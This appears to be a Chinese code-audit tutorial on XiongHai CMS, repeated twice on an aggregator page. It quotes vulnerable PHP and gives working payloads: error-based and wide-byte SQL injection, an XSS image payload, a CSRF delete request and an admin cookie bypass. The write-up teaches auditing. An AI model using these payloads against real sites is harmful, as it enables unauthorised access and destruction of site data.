熊海CMS代码审计中存在哪些可能导致安全漏洞的具体细节问题?

2026-04-06 06:332阅读0评论SEO资讯
  • 内容介绍
  • 文章标签
  • 相关推荐

本文共计1290个文字,预计阅读时间需要6分钟。

熊海CMS代码审计中存在哪些可能导致安全漏洞的具体细节问题?

目录+前言+基本结构+SQL注入漏洞+第一处+第二处+第三处+XSS漏洞+第一处+第二处+CSRF漏洞+第一处+越权+第一处+结语+前言+熊猫海CMS是由熊猫海开发的,一款可广泛应用于个人博客,个人网站的应用。

目录
  • 前言
  • 基本结构
  • SQL注入漏洞
    • 第一处
    • 第二处
    • 第三处
  • XSS漏洞
    • 第一处
    • 第二处
  • CSRF漏洞
    • 第一处
  • 垂直越权
    • 第一处
  • 结语

    前言

    熊海CMS是由熊海开发的一款可广泛应用于个人博客,个人网站,企业网站的一套网站综合管理系统。作为一个早期的系统,里面代码存在许多漏洞利用点,且代码量低适合作为代码审计的入门挑战,本文就带领大家对该系统存在的漏洞进行分析。

    基本结构

    这里我选择使用小皮面板搭建在了本地,以便于调试错误,首先我们看看系统的结构:

    ——admin //后台⽂件 ——css //css⽂件 ——files //功能函数⽂件 ——images //图⽚ ——index.php //主⽬录⽂件 ——install //安装⽂件 ——seacmseditor //编辑器 ——template //模板⽂件 ——upload //⽂件上传⽬录

    SQL注入漏洞

    第一处

    我们跳转到admin/files/editlink.php,分析里面的一段代码:

    $id=$_GET['id']; $type=$_GET['type']; if ($type==1){ $query = "SELECT * FROM nav WHERE id='$id'"; $resul = mysql_query($query) or die('SQL语句有误:'.mysql_error()); $nav = mysql_fetch_array($resul); }

    简单分析一下,我们通过GET输入id和type,之后type与1进行对比,匹配后会执行SQL语句,了解SQL注入漏洞的朋友可能会看出这里有一个单引号闭合漏洞,我们只需在参数前进行构造闭合单引号,之后便可以成功执行自定义的SQL语句:

    r=editcolumn&type=1&id=1'%20or%20updatexml(1,concat(0x7e,database()),1)%23

    需要注意的是作为结果只返回给我们SQL语句正确与否,所以这里考虑使用错报注入。

    第二处

    admin/files/editlink.php这个路径下有一段代码:

    $id=$_GET['id']; $query = "SELECT * FROM link WHERE id='$id'"; $resul = mysql_query($query) or die('SQL语句有误:'.mysql_error()); $link = mysql_fetch_array($resul);

    这里同样存在一个GET传参点,我们可以传入变量名为id的值,之后会执行SQL语句查询ID,若SQL语句有误,进行错报,因为是单引号闭合这里可以和第一处一样使用错报注入。

    id=1'%20or%20updatexml(1,concat(0x7e,database()),1)%23

    第三处

    /file/download.php这个路径下的代码:

    $llink=addslashes($_GET['r']); $query = "SELECT * FROM nav WHERE link='$llink'";

    可以看到里面有addslashes函数:

    这个函数会将预定义字符转换加上反斜杠,所以我们无法进行正常的单引号闭合,需要想办法绕过,方法也很多,这里就简单用宽字节注入绕过,具体使用方法可以参考我之前的文章:

    www.jb51.net/article/276349.htm

    参考大佬的payload:

    r=%df%27or%20if(1,sleep(3),1)%20%23

    XSS漏洞

    在/file/contact.php出存在漏洞代码:

    $page=addslashes($_GET['page']); <?php echo $page?>

    可以看到直接echo出了page变量,而该变量是我们直接可以GET传入的,这里我们直接使用弹窗payload:

    <img src=1 onerror=alert(/xss/)>

    在/files/content.php出,存在与第一处差不多的代码:

    $page=addslashes($_GET['page']); if ($page<>""){ if ($page<>1){ $pages="第".$page."页 - "; }

    我们也可以向上面一样将语句传进变量里去。

    CSRF漏洞

    这里以/admin/files/wzlist.php为例:

    熊海CMS代码审计中存在哪些可能导致安全漏洞的具体细节问题?

    $delete=$_GET['delete']; if ($delete<>""){ $query = "DELETE FROM content WHERE id='$delete'"; $result = mysql_query($query) or die('SQL语句有误:'.mysql_error()); echo "<script>alert('亲,ID为".$delete."的内容已经成功删除!');location.href='?r=wzlist'</script>"; exit;

    可以看到代码执行删除SQL语句时并没有对代码进行检测,删除操作对应下面的界面:

    我们先尝试删除然后进行抓包,抓到了删除时GET进行的传参:

    ?r=wzlist&delete=18

    之后换另一个浏览器访问整个payload,结合该系统中的一个越权操作,将user改成admin,之后访问,成功实现了跳过验证进行了删除操作。

    当然这只是其中的一个点,softlist.php也存在类似的CSRF漏洞。

    垂直越权

    在/inc/checklogin.php中,这里只看存在漏洞的代码:

    $user=$_COOKIE['user']; if ($user==""){ header("Location: ?r=login"); exit;

    这里直接给user的cookie值设置成admin,即可跳转管理员界面。

    结语

    今天给大家带来的是一个小型CMS的代码审计,当然该系统的漏洞远不止文中提到的这些,总的来说还是挺简单的,有兴趣的小伙伴可以自己下载源码去搭建系统

    以上就是熊海CMS代码审计漏洞分析的详细内容,更多关于熊海CMS代码审计的资料请关注自由互联其它相关文章!

    本文共计1290个文字,预计阅读时间需要6分钟。

    熊海CMS代码审计中存在哪些可能导致安全漏洞的具体细节问题?

    目录+前言+基本结构+SQL注入漏洞+第一处+第二处+第三处+XSS漏洞+第一处+第二处+CSRF漏洞+第一处+越权+第一处+结语+前言+熊猫海CMS是由熊猫海开发的,一款可广泛应用于个人博客,个人网站的应用。

    目录
    • 前言
    • 基本结构
    • SQL注入漏洞
      • 第一处
      • 第二处
      • 第三处
    • XSS漏洞
      • 第一处
      • 第二处
    • CSRF漏洞
      • 第一处
    • 垂直越权
      • 第一处
    • 结语

      前言

      熊海CMS是由熊海开发的一款可广泛应用于个人博客,个人网站,企业网站的一套网站综合管理系统。作为一个早期的系统,里面代码存在许多漏洞利用点,且代码量低适合作为代码审计的入门挑战,本文就带领大家对该系统存在的漏洞进行分析。

      基本结构

      这里我选择使用小皮面板搭建在了本地,以便于调试错误,首先我们看看系统的结构:

      ——admin //后台⽂件 ——css //css⽂件 ——files //功能函数⽂件 ——images //图⽚ ——index.php //主⽬录⽂件 ——install //安装⽂件 ——seacmseditor //编辑器 ——template //模板⽂件 ——upload //⽂件上传⽬录

      SQL注入漏洞

      第一处

      我们跳转到admin/files/editlink.php,分析里面的一段代码:

      $id=$_GET['id']; $type=$_GET['type']; if ($type==1){ $query = "SELECT * FROM nav WHERE id='$id'"; $resul = mysql_query($query) or die('SQL语句有误:'.mysql_error()); $nav = mysql_fetch_array($resul); }

      简单分析一下,我们通过GET输入id和type,之后type与1进行对比,匹配后会执行SQL语句,了解SQL注入漏洞的朋友可能会看出这里有一个单引号闭合漏洞,我们只需在参数前进行构造闭合单引号,之后便可以成功执行自定义的SQL语句:

      r=editcolumn&type=1&id=1'%20or%20updatexml(1,concat(0x7e,database()),1)%23

      需要注意的是作为结果只返回给我们SQL语句正确与否,所以这里考虑使用错报注入。

      第二处

      admin/files/editlink.php这个路径下有一段代码:

      $id=$_GET['id']; $query = "SELECT * FROM link WHERE id='$id'"; $resul = mysql_query($query) or die('SQL语句有误:'.mysql_error()); $link = mysql_fetch_array($resul);

      这里同样存在一个GET传参点,我们可以传入变量名为id的值,之后会执行SQL语句查询ID,若SQL语句有误,进行错报,因为是单引号闭合这里可以和第一处一样使用错报注入。

      id=1'%20or%20updatexml(1,concat(0x7e,database()),1)%23

      第三处

      /file/download.php这个路径下的代码:

      $llink=addslashes($_GET['r']); $query = "SELECT * FROM nav WHERE link='$llink'";

      可以看到里面有addslashes函数:

      这个函数会将预定义字符转换加上反斜杠,所以我们无法进行正常的单引号闭合,需要想办法绕过,方法也很多,这里就简单用宽字节注入绕过,具体使用方法可以参考我之前的文章:

      www.jb51.net/article/276349.htm

      参考大佬的payload:

      r=%df%27or%20if(1,sleep(3),1)%20%23

      XSS漏洞

      在/file/contact.php出存在漏洞代码:

      $page=addslashes($_GET['page']); <?php echo $page?>

      可以看到直接echo出了page变量,而该变量是我们直接可以GET传入的,这里我们直接使用弹窗payload:

      <img src=1 onerror=alert(/xss/)>

      在/files/content.php出,存在与第一处差不多的代码:

      $page=addslashes($_GET['page']); if ($page<>""){ if ($page<>1){ $pages="第".$page."页 - "; }

      我们也可以向上面一样将语句传进变量里去。

      CSRF漏洞

      这里以/admin/files/wzlist.php为例:

      熊海CMS代码审计中存在哪些可能导致安全漏洞的具体细节问题?

      $delete=$_GET['delete']; if ($delete<>""){ $query = "DELETE FROM content WHERE id='$delete'"; $result = mysql_query($query) or die('SQL语句有误:'.mysql_error()); echo "<script>alert('亲,ID为".$delete."的内容已经成功删除!');location.href='?r=wzlist'</script>"; exit;

      可以看到代码执行删除SQL语句时并没有对代码进行检测,删除操作对应下面的界面:

      我们先尝试删除然后进行抓包,抓到了删除时GET进行的传参:

      ?r=wzlist&delete=18

      之后换另一个浏览器访问整个payload,结合该系统中的一个越权操作,将user改成admin,之后访问,成功实现了跳过验证进行了删除操作。

      当然这只是其中的一个点,softlist.php也存在类似的CSRF漏洞。

      垂直越权

      在/inc/checklogin.php中,这里只看存在漏洞的代码:

      $user=$_COOKIE['user']; if ($user==""){ header("Location: ?r=login"); exit;

      这里直接给user的cookie值设置成admin,即可跳转管理员界面。

      结语

      今天给大家带来的是一个小型CMS的代码审计,当然该系统的漏洞远不止文中提到的这些,总的来说还是挺简单的,有兴趣的小伙伴可以自己下载源码去搭建系统

      以上就是熊海CMS代码审计漏洞分析的详细内容,更多关于熊海CMS代码审计的资料请关注自由互联其它相关文章!